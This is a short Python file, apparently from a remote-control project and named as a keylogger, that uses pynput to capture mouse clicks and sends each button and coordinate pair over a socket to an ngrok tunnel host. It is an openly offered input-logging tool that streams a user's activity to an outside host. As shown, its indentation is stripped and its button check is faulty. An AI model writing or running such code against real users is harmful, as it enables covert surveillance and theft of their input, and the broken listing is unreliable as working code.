remote_control_python_script/Server/KEY LOGGER - Mirror - MOUSE.py

59 lines
1.2 KiB
Python

import socket
import os
from pynput import keyboard
from pynput.mouse import Button, Controller
from pynput import mouse
MOUSE = Controller()
dataToSend = ""
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "4.tcp.ngrok.io"
# the ip address or hostname of the server, the receiver
# the port, let's use 10002
port = 17058
# the name of file we want to send, make sure it exists
# get the file size
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
#s.send(f"{filename}{SEPARATOR}{filesize}".encode())
##############################################################################
def on_click(x, y, button, pressed):
if button == "Button.left":
dataToSend = ("L")
else:
dataToSend = ("R")
dataToSend = dataToSend + str(x) + "," + str(y)
dataToSendBytes = dataToSend.encode()
s.sendall(dataToSendBytes)
with mouse.Listener(
on_click = on_click) as listener:
listener.join()
###############################################################################